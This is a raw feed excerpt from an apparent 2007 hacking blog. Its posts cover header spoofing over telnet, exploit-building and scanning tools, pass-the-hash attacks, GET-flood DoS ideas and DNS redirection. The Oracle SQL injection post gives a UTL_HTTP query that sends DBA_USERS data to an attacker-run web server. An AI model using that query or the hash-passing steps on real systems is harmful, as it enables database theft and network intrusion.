'CTRL+]'&lt;br /&gt;&lt;br /&gt;Microsoft Telnet&gt;&lt;br /&gt;&lt;br /&gt;Now here's a fun thing to do. At the telnet prompt, type "open happyhacker.org 80" . Now wait a few seconds and then hold down the Ctrl key and the c key with one hand and hit enter with the other.&lt;br /&gt;&lt;br /&gt;This will give you something like:&lt;br /&gt;&lt;br /&gt;HTTP/1.0 408 Request Timeout&lt;br /&gt;Server: thttpd/2.20c 21nov01 on a Brickserver 2&lt;br /&gt;Content-type: text/html&lt;br /&gt;Date: Wed, 31 Jan 2007 13:23:03 GMT&lt;br /&gt;Last-modified: Wed, 31 Jan 2007 13:23:03 GMT&lt;br /&gt;Accept-Ranges: bytes&lt;br /&gt;Connection: close&lt;br /&gt;&lt;h2&gt;408 Request Timeout&lt;/h2&gt;&lt;br /&gt;No request appeared within a reasonable time period.&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;address&gt;&lt;a href="http://www.sage-inc.com/"&gt;&lt;br /&gt;thttpd/2.20c 21nov01 on a Brickserver 2&lt;/a&gt;&lt;/address&gt;&lt;br /&gt;&lt;br /&gt;Connection to host lost.&lt;br /&gt;&lt;br /&gt;Now to get something better, instead you can type Start --&gt; Run and type in "cmd". This gives an MSDOS windows and it looks something like this:&lt;br /&gt;&lt;br /&gt;Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\Carolyn Meinel&gt;&lt;br /&gt;&lt;br /&gt;From here we can do something much more fun to unsuspecting webservers. Open Notepad and type this in two lines:&lt;br /&gt;&lt;br /&gt;telnet happyhacker.org 80&lt;br /&gt;GET /gtmhh/index.shtml&lt;br /&gt;&lt;br /&gt;It won't work unless you have this in two lines! Next copy these two lines and at the MSDOS window prompt right click, choose paste, and then hit enter. This will display all the code that the webserver would normally send your browser.&lt;br /&gt;&lt;br /&gt;OK, so why is this a big deal? You can get the same code just by using the "page source" command on your browser. However, you got this code without having to send the browser any extra headers. All you sent was the most basic web browser command, the "GET" command.&lt;br /&gt;&lt;br /&gt;Even more important...!!!&lt;br /&gt;&lt;br /&gt;You can go to jail warning: If you send a webserver a command that is designed to break into or crash it, you just might wind up being cellmate Spike's girlfriend. Yes, those nasty script kiddie websites offer exploits to send to webservers, and if you try them on about a thousand different websites you may eventually get unlucky and actually break in.&lt;br /&gt;&lt;br /&gt;If you want to try out all sorts of weird commands against a webserver without breaking the law, you have permission to do it against this website, happyhacker.org and you can't get into any trouble because I own it and I set the rules, which are, basically, you can do anything you want, see if you can crash happyhacker.org or break in, it's OK with me, muhahaha!&lt;br /&gt;&lt;br /&gt;Next, you can set up your web browser to send headers of your own design. This article by Eric Giguere is still useful for learning how to modify your browser's headers. He also has a link that displays a portion (not the entire thing) of your browser's headers. Using this link, I learn that my browser sent out this:&lt;br /&gt;&lt;br /&gt;connection keep-alive&lt;br /&gt;accept-language en-us,en;q=0.5&lt;br /&gt;content-length 0&lt;br /&gt;host www.ericgiguere.com&lt;br /&gt;accept text/xml,application/xml,application/xhtml+xml,&lt;br /&gt;text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;accept-charset ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;keep-alive 300&lt;br /&gt;cookie JSESSIONID=5CF0B8F73EB94ECA1D6AA324F2AA1ADC; __utma=13&lt;br /&gt;5980773.912983502.1170270059.1170270059.1170270059.1;&lt;br /&gt;__utmc=135980773;&lt;br /&gt;__utmz=135980773.1170270059.1.1.utmccn=(organic)&lt;br /&gt;utmcsr=googleutmctr=&lt;br /&gt;change+browser+headers+Firefoxutmcmd=organic&lt;br /&gt;user-agent Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;&lt;br /&gt;rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1&lt;br /&gt;You can tell this doesn't show everything because it doesn't include the "GET" command.&lt;br /&gt;&lt;br /&gt;Now let's say you would like to see absolutely everything your browser sends. You can do this by setting up a network sniffer on your own computer and use it to see everything that goes back and forth between your browser and a website. This can be especially interesting if you visit malicious websites, meaning those that try to break into your computer through your browser to install spyware and even worse Trojans that enable criminals to hide their nasty activities inside your computer. Check out http://www.winpcap.org/to learn about sniffers and for free downloads of sniffer tools.&lt;br /&gt;&lt;br /&gt;Last on your home computer. You can direct your browser to it by typing "localhost" or "127.0.0.1" into your browser or your telnet connection.&lt;br /&gt;&lt;br /&gt;In order to ensure that your Apache webserver saves the headers of your browser, you have to find the file named http.conf. Open it in notepad and look for the line:&lt;br /&gt;&lt;br /&gt;CustomLog logs/agent.log agent&lt;br /&gt;&lt;br /&gt;If there is a "#" in front of it this means Apache ignores it. If you delete the "#" then Apache will record the headers of visiting browsers, but only after you restart Abut not least, you can see what your headers look like by installing the free &lt;a href="http://httpd.apache.org/"&gt;Apache webserverpache&lt;/a&gt;. Then after visiting it with your browser, you will find your headers in the agent.log file in the logs directory.&lt;br /&gt;&lt;br /&gt;Of course after reading all this, you may wonder what the big deal is about forging headers. Or maybe you think this is super fun, in which case you must be a real hacker.&lt;br /&gt;&lt;br /&gt;OK, so now lets go do fun stuff with the free Firefox browser. In the browser window type:&lt;br /&gt;&lt;br /&gt;about:config&lt;br /&gt;&lt;br /&gt;Scroll down the screen this displays to general.useragent.extra.firefox. and then double click on this line. You can change it to whatever you want. I change it from Firefox/2.0.0.1 to Lynx. Yes, most of you are too young to remember Lynx, but I'm a really, really ancient hacker and back when the Web was young we didn't have pictures and all that newfangled fancy stuff. The web was just words and links, and Lynx, which we ran from a Unix shell account (this was before Linux even!) was how we crawled the web.&lt;br /&gt;&lt;br /&gt;Next I double click on general.useragent.locale and change en-US (meaning I want to see websites in English if they offer that option) to en-Lower Slobovia&lt;br /&gt;&lt;br /&gt;Oh, pooh, it turns out all this does is change one of my headers to:&lt;br /&gt;&lt;br /&gt;user-agent Mozilla/5.0 (Windows; U; Windows NT 5.1; Lower Slobovia; rv:1.8.1.1) Gecko/20061204 Lynx&lt;br /&gt;&lt;br /&gt;This failure to totally fubar the headers tells me we can have much more fun if we use telnet or even netcat to directly connect to webservers. Then we finally can really, really fake out anyone who actually reads the logs.&lt;br /&gt;&lt;br /&gt;You can get punched in the nose warning: Many intrusion detection and prevention systems look for really screwy browser headers. Make yours weird enough and you will make someone hopping mad -- and he or she might tell your online provider that you, yes you, sent evil headers. Yes, you can be tracked back to your home computer. If your online provider is terrified of hackers (could you actually be an evil, evil, criminal?) they might cancel your Internet service.&lt;br /&gt;&lt;br /&gt;But lets get back to that Firefox about:config screen. Have you ever tried to enter a really weird URL you found on a hacker website into your browser and it didn't do what you expected? Your browser might be the culprit. Check out:&lt;br /&gt;&lt;br /&gt;network.IDN.blacklist_chars&lt;br /&gt;&lt;br /&gt;It lists all the characters your browser ignores. Many of these aren't even on your keyboard, although you can create them with a hex editor. Some of them you can't send through telnet, either. The ultimate solution to all that is netcat, a telnet-like program that is also good for lots of amazing, things. If you try really hard, netcat can enable you to do truly amazing "you can get punched in the nose" or "you can go to jail" stuff to webservers. Your choice.&lt;br /&gt;&lt;br /&gt;Happy hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3518891373285628452?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3518891373285628452/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3518891373285628452' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3518891373285628452'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3518891373285628452'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/how-to-fake-out-web-servers.html' title='How to Fake out Web Servers'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-6178603945271371782</id><published>2007-12-13T06:42:00.000-08:00</published><updated>2007-12-13T06:43:00.327-08:00</updated><title type='text'></title><content type='html'>MSF eXploit Builder - Free Win32 Exploit Development Platform &lt;br /&gt;The MSF eXploit Builder (MSF-XB) is a free win32 application (GUI) that wants to be an Exploit Development Platform. The main goal is to speed up the exploit development process, this is accomplished by using the powerful functionalities and neat design of The Metasploit Framework.&lt;br /&gt;&lt;br /&gt;MSF-XB automatically generates MSF compliants exploits modules.&lt;br /&gt;&lt;br /&gt;The MSF-XB package also includes for your convenience:&lt;br /&gt;&lt;br /&gt;Fuzzers&lt;br /&gt;&lt;br /&gt;TAOF, The Art Of Fuzzing v0.3.2 &lt;br /&gt;ProxyFuzz v0.1, Rodrigo Marcos &lt;br /&gt;FileFuzz v1.0.2510.28439, iDefense &lt;br /&gt;FTPfuzz v1.0, Infigo &lt;br /&gt;WinFuzz v1.0.0.1, Fakehalo &lt;br /&gt;&lt;br /&gt;Handy Tools&lt;br /&gt;&lt;br /&gt;Findjmp2, Class101 &lt;br /&gt;branchseeker &lt;br /&gt;Faultmon &lt;br /&gt;mycrc &lt;br /&gt;Sysinternals (Microsoft) PStools &lt;br /&gt;wget.exe, GNU &lt;br /&gt;xCmd (remotexec clone) &lt;br /&gt;nc.exe &lt;br /&gt;A local database of opcodes/return addresses (Cross-platforms, 10 locales, fast and reverse queries) &lt;br /&gt;An ASCII table &lt;br /&gt;A lot of converters (Ascii, Hex, Byte, Unicode …) &lt;br /&gt;Malcode Analyst Pack v0.2 &lt;br /&gt;Process Stalker, iDefense &lt;br /&gt;&lt;br /&gt;REQUIREMENTS&lt;br /&gt;&lt;br /&gt;Please edit and customize the MSF-XB.INI file &lt;br /&gt;MSF-XB requires the Metasploit Framework installed to work properly (http://www.metasploit.com ): Version 3 is recommended &lt;br /&gt;MSF-XB requires a debugger to be installed (Immunity Debugger) &lt;br /&gt;You can download MSF eXploit Builder here:&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.securinfos.info/metasploit/MSF-XB.EXE"&gt;MSF-XB.EXE (84Mb)&lt;/a&gt;&lt;br /&gt;MD5 41e83b8cb8d60d689bff191eb7842fc1&lt;br /&gt;SHA1 1cb0e457c9fa59da8f147a96afb9c1a056a4e655&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-6178603945271371782?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/6178603945271371782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=6178603945271371782' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/6178603945271371782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/6178603945271371782'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/msf-exploit-builder-free-win32-exploit.html' title=''/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-9145263396803695379</id><published>2007-12-13T06:40:00.000-08:00</published><updated>2007-12-13T06:41:22.412-08:00</updated><title type='text'>scanrand - Download Stateless TCP Scanner with Syn Cookies</title><content type='html'>scanrand - Download Stateless TCP Scanner with Syn Cookies &lt;br /&gt;Scanrand is extremely quick and effective port scanner. It works by forking two distinct processes:&lt;br /&gt;&lt;br /&gt;One to send the initial queries &lt;br /&gt;One to receive responses and reconcile them from the above &lt;br /&gt;This makes it extremely fast.&lt;br /&gt;&lt;br /&gt;If you haven’t heard of the suite, Scanrand is one of the five tools in Paketto Keiretsu by Dan “Effugas” Kaminsky of Doxpara Research.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Scanrand implements numerous options; reasonable defaults are selected when no specific guidance is received from the user. The only thing mandated is a target destination, which may be specified using either a FQDN(Fully Qualified Domain Name) or a numeric specification.&lt;br /&gt;&lt;br /&gt;These numerics may employ any number of dashes, commas, or combination thereof at the same time. For example, scanrand 10.0.1-255.1-10,20:80,137-139 works fine.&lt;br /&gt;&lt;br /&gt;More ports will be scanned by default when scanning a single host than when sca&lt;br /&gt;nning a network. Scanrand is able to estimate remote hopcount by examining incoming TTLs.&lt;br /&gt;&lt;br /&gt;Note please to install scanrand you need to first install the provided libnet, libtomcrypt and libpcap tarballs.&lt;br /&gt;&lt;br /&gt;It’s a good alternative to nmap for certain purposes.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can read a good article on Scanrand here:&lt;br /&gt;&lt;br /&gt;Scanrand Dissected: A New Breed of Network Scanner&lt;br /&gt;&lt;br /&gt;The article includes nmap vs scanrand.&lt;br /&gt;&lt;br /&gt;You can download Scanrand here (as part of Paketto):&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.doxpara.com/paketto/paketto-1.10.tar.gz"&gt;-1.1paketto0.tar.gz&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-9145263396803695379?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/9145263396803695379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=9145263396803695379' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/9145263396803695379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/9145263396803695379'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/scanrand-download-stateless-tcp-scanner.html' title='scanrand - Download Stateless TCP Scanner with Syn Cookies'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-8788394832365457311</id><published>2007-12-13T06:36:00.000-08:00</published><updated>2007-12-13T06:39:34.150-08:00</updated><title type='text'>Serious flaws in players from microsoft and aol</title><content type='html'>It looks like there is a fairly serious vulnerability in some of the popular media player packages out in the wild packaged as a MP4 file (due to the MP4 codec from 3ivx), it effects Windows Media Player 6.4 and Windows Media Player Classic, which are made by Microsoft, and AOL’s Winamp version 3.5.&lt;br /&gt;&lt;br /&gt;All the more reason to use VLC! This follows fairly shortly after a couple of quite serious vulnerabilities in Quicktime.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Security researchers are warning that popular media players offered by Microsoft and AOL are vulnerable to attacks that can completely compromise a user’s PC.&lt;br /&gt;&lt;br /&gt;Attack code has already been released for the bug, which has been confirmed in a codec used by older versions of Windows Media Player, made by Microsoft, and in AOL’s Winamp. A Symantec researcher has warned that users of other players may also be at risk because the vulnerability itself resides in a commonly used MP4 codec produced by a company called 3ivx Technologies.&lt;br /&gt;&lt;br /&gt;“The exploit works by supplying victims with a maliciously formed MP4 file,” Raymond Ball wrote for Symantec’s DeepSight Threat Management System. “When a victim unknowingly clicks a link that appears safe, the MP4 content is delivered, causing the exploit to run.”&lt;br /&gt;&lt;br /&gt;At least it’s not Microsoft’s fault this time, but they did use a dodgy codec so I guess some of the blame lays with them right?&lt;br /&gt;&lt;br /&gt;They could have checked it out properly before bundling it into their software.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A researcher who goes by the name SYS 49152 released exploit code here, here and here that targets Windows Media Player 6.4 and Windows Media Player Classic, which are made by Microsoft, and AOL’s Winamp version 3.5. Each uses the 3ivx MP4 codec, which is vulnerable to a stack overflow.&lt;br /&gt;&lt;br /&gt;Secunia describes the Windows Media Player vulnerabilities as “highly critical,” the second-highest rating on Secunia’s five-tier scale. The vulnerability reporting service didn’t have a rating for the Winamp vulnerability.&lt;br /&gt;&lt;br /&gt;No patch is available. Ball recommends users remove the codec or disable media players that use the MP4 codec until the hole is plugged. That strikes us as overkill. Taking care not to click on suspicious links in browsers and email programs should suffice.&lt;br /&gt;&lt;br /&gt;So watch out, attack vectors are getting more varied - don’t let your guard down during this merry season.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-8788394832365457311?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/8788394832365457311/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=8788394832365457311' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8788394832365457311'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8788394832365457311'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/serious-flaws-in-players-from-microsoft.html' title='Serious flaws in players from microsoft and aol'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3704633093762294283</id><published>2007-12-13T06:34:00.000-08:00</published><updated>2007-12-13T06:35:07.795-08:00</updated><title type='text'>Exaggerating timing attacks results via get flooding</title><content type='html'>thinking of an actual useful application for GET request flooding this evening. Normally we only think of GET requests as a binary thing - one at a time or flooding. But what if we only launched enough GET requests with the intention of impacting server load, not bandwidth latency. So picking the right URL would be critical here (DB impacts, most likely).&lt;br /&gt;&lt;br /&gt;When you found the right URL, launching a GET request flood against the server could seriously delay certain types of requests (especially if they must touch a database two times versus one time, for instance - if the DB was part of the flooding). Suddenly something that is normally the difference of a few microseconds could be the difference of seconds. Who cares? Because I’m always curious if there are any practical applications in hacking for DoS and this appears to be one of them - at least in theory.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3704633093762294283?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3704633093762294283/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3704633093762294283' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3704633093762294283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3704633093762294283'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/exaggerating-timing-attacks-results-via.html' title='Exaggerating timing attacks results via get flooding'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-4048485488197716751</id><published>2007-12-13T06:31:00.000-08:00</published><updated>2007-12-13T06:33:10.077-08:00</updated><title type='text'>Pass the hash, NTLM style</title><content type='html'>Pass the hash, NTLM style &lt;br /&gt;Way back in 1997, a Windows exploit named "NT Pass the Hash" was posted on Bugtraq. This Unix-based tool was a modified SMB client that lets you use captured LanMan hashes, without having to decrypt them first.&lt;br /&gt;&lt;br /&gt;After a mere ten years, someone has finally modernized this concept into a much more potent attack. Core Security has released &lt;a href="http://oss.coresecurity.com/projects/pshtoolkit.htm"&gt;Pass-The-Hash Toolkit&lt;/a&gt;, which runs on Windows and works with NTLM hashes. It's comprised of two key modules:&lt;br /&gt;&lt;br /&gt;IAM.EXE - This tool "injects" another user's NTLM credentials into your current Windows logon session, given their username, Windows domain, and NTLM hash. You can then use the 'net' tools or any other Windows software that authenticates via NTLM, all under the assumed privileges of the compromised user account.&lt;br /&gt;WHOSTHERE.EXE - Lists the usernames and NTLM hashes of all users logged on to a system. &lt;br /&gt;&lt;br /&gt;No password cracking required! So if you own other systems on the network, you can just run whosthere.exe on them until you snag a domain admin's hashes. Or you could use a man-in-the middle attack, like the WPAD proxy exploit. As I discussed a few posts ago, the Metasploit guys covered several methods for grabbing NTLM hashes in their Tactical Exploitation presentation at BlackHat&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-4048485488197716751?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/4048485488197716751/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=4048485488197716751' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4048485488197716751'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4048485488197716751'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/pass-hash-ntlm-style.html' title='Pass the hash, NTLM style'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-5151234709485252024</id><published>2007-12-13T06:30:00.001-08:00</published><updated>2007-12-13T06:30:39.631-08:00</updated><title type='text'>Out-of-band Oracle SQL injection with HTTP Requests</title><content type='html'>Out-of-band Oracle SQL injection with HTTP Requests &lt;br /&gt;I spent most of last week performing a web application assessment in the middle of nowhere, Alabama. After the mad fun at BlackHat and several weeks of unpleasant documentation work preceding it, it was a nice change to spend five peaceful days completely focused on testing an interesting system.&lt;br /&gt;&lt;br /&gt;This was an internal application, so I wasn't surprised to find that it was vulnerable to SQL injection in several areas. However, in-band injection attacks weren't working for the application I was testing - I couldn't use UNION SELECTs, for example, to merge my query results with data rendered in the browser. So I had to leverage an out-of-band technique for retrieving data through SQL injection: Oracle's UTL_HTTP.REQUEST function. David Litchfield mentioned this approach almost two years ago in Data-mining with SQL Injection and Inference, but I never had the need to use it "in the wild" until now.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;UTL_HTTP is a built-in Oracle SQL function that issues HTTP requests. The syntax is pretty simple: &lt;br /&gt;&lt;br /&gt;URL_HTTP.REQUEST('http://www.foo.com/index.php') &lt;br /&gt;returns the first 2000 bytes from the provided URL. But the clever bit is that you can concatenate the URL with another SQL statement, the results of which will become part of the request.&lt;br /&gt;&lt;br /&gt;For example, consider the following SQL:&lt;br /&gt;&lt;br /&gt;UTL_HTTP.REQUEST('http://www.foo.com:80/'||(SELECT USERNAME FROM DBA_USERS WHERE ROWNUM=1))&lt;br /&gt;&lt;br /&gt;The SELECT statement returns the value "SYS" - the first user in the DBA_USERS table. The HTTP request issued by the database is therefore for the URL "http://www.foo.com:80/SYS". In www.foo.com's HTTP access log, the request would look like:&lt;br /&gt;&lt;br /&gt;158.72.4.21 - - [08/Aug/2007:10:02:40 +0000] "GET /SYS HTTP/1.1" 404 0 - -&lt;br /&gt;(assuming 158.72.4.21 is our target DB server)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So as an attacker, you simply need to run a web server and point the UTL_HTTP.REQUESTs to your own IP address. You can then view the result of each SQL injection in your server logs. If in Windows, I like to use SHTTPD as it is lightweight and simple to turn on and off.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The biggest limitation to this approach is that you can only query for one row at a time - you'll get an error message if your statement returns multiple rows. (That is due to the UTL_HTTP.RQUEST function itself, not the web server end). But it is still a lot more efficient then using blind SQL injection to brute force one character of a response at a time. Oracle will also throw an error if it can't reach your web server, which may be the case depending on network controls between yourself and the database.  Experiment with running on different ports.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There are probably a few things you could do to make the attack more elegant, like setting up a CGI script on your server to better collect and parse the calls from the database. You could also create and inject a PL/SQL function that concatenates results from multiple rows to get around the single-row limitation. I needed a quick and dirty solution to get a few key database records, so I didn't bother venturing beyond the basics for this test.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Outbound HTTP requests originating from a database server should look suspicious, but I think the attack is obscure enough to slip by most admins.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-5151234709485252024?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/5151234709485252024/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=5151234709485252024' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5151234709485252024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/5151234709485252024'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/out-of-band-oracle-sql-injection-with.html' title='Out-of-band Oracle SQL injection with HTTP Requests'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3590213549095495545</id><published>2007-12-13T06:27:00.000-08:00</published><updated>2007-12-13T06:28:48.193-08:00</updated><title type='text'>Hijacking dns</title><content type='html'>Restricting access to specific Internet web services is a challenge shared by all network administrators. Whether the reason for restricting access is based on security, bandwidth, or productivity, installing and maintaining proxy and content filter applications may be outside the budget of a small IT department.&lt;br /&gt;&lt;br /&gt;The solution provided here offers a cumbersome approach for a small investment: $0. &lt;br /&gt;&lt;br /&gt;All web services, such as HTTP, FTP, IRC, IM, NNTP and SMTP are predominantly called by name when end users want to access them. An internal DNS server usually hosts records for only the internal namespace. All external (Internet) namespace is generally forwarded to an ISP’s or other DNS server.&lt;br /&gt;&lt;br /&gt;DNS hijacking on the LAN allows an administrator to redirect all Internet requests for a domain or server to an internal server or to nowhere (127.0.0.1).&lt;br /&gt;&lt;br /&gt;HIJACKING GOOGLE&lt;br /&gt;&lt;br /&gt;If an administrator wanted to hijack and redirect all users’ connections to google.com, he’d only need to add a Primary Lookup Zone for the domain name.&lt;br /&gt;&lt;br /&gt;The steps for Server 2003 are as follows:&lt;br /&gt;&lt;br /&gt;- Open the DNS console&lt;br /&gt;- Expand your server&lt;br /&gt;- Right-click Forward Lookup Zones and select New Zone.&lt;br /&gt;- Click Next on the Wizard welcome page.&lt;br /&gt;- Create a Primary Forward Lookup Zone. Do NOT integrate the zone with Active Directory if the option appears.&lt;br /&gt;- Type the name of the zone: google.com&lt;br /&gt;- Accept the default file name for the zone and click Next.&lt;br /&gt;- Click Next.&lt;br /&gt;- Click Finish.&lt;br /&gt;&lt;br /&gt;Your DNS server is now authoritative for google.com. Instead of forwarding your clients’ DNS queries to the ISP DNS server, the server returns any records it holds in its own database. If the requested record does not exist, the DNS server tells the client that the name does not exist.&lt;br /&gt;&lt;br /&gt;CREATE RECORDS&lt;br /&gt;&lt;br /&gt;Create host records for the default namespace (i.e. google.com) and any hosts that you want to redirect (e.g. www.google.com). If you simply want the connections to die, saving any Internet bandwidth that would have otherwise been used, set the IP Address for each host record to 127.0.0.1. This will cause a client machine to attempt to connect to itself instead of the requested server. In most cases, this simply returns an error to the application that requested the Internet Server&lt;br /&gt;&lt;br /&gt;Mail can be redirected by creating an MX record in the Zone you’ve chosen to hijack.&lt;br /&gt;&lt;br /&gt;GETTING FANCY – REDIRECTION TO A BANNED ACCESS PAGE&lt;br /&gt;&lt;br /&gt;An administrator can redirect all web requests to hijacked servers to an internal web page that reiterates the network policy. For example, when a user browses to www.google.com, he instead reaches a web page that proclaims, “You attempted to access an inappropriate web page. This action has been logged.”&lt;br /&gt;&lt;br /&gt;If you want to get really sophisticated, you can use ASP.NET to build a neat page that reads the HTTP request and user token to personalize the page. If you are a masochist, you can tie it to a SQL database and log all transgressions.&lt;br /&gt;&lt;br /&gt;CREATING THE BANNED ACCESS PAGE&lt;br /&gt;&lt;br /&gt;- Install the Windows Web Service (Add/Remove Programs&gt;Add/Remove Windows Components&gt;Application Server)&lt;br /&gt;- In C:\inetpub\wwwroot drop a web page saying nasty stuff to your end users. Name it default.html.&lt;br /&gt;- Use this server’s IP address instead of 127.0.01 for all records you’d like to hijack.&lt;br /&gt;&lt;br /&gt;BAD SOLUTION – GOOD PRICE&lt;br 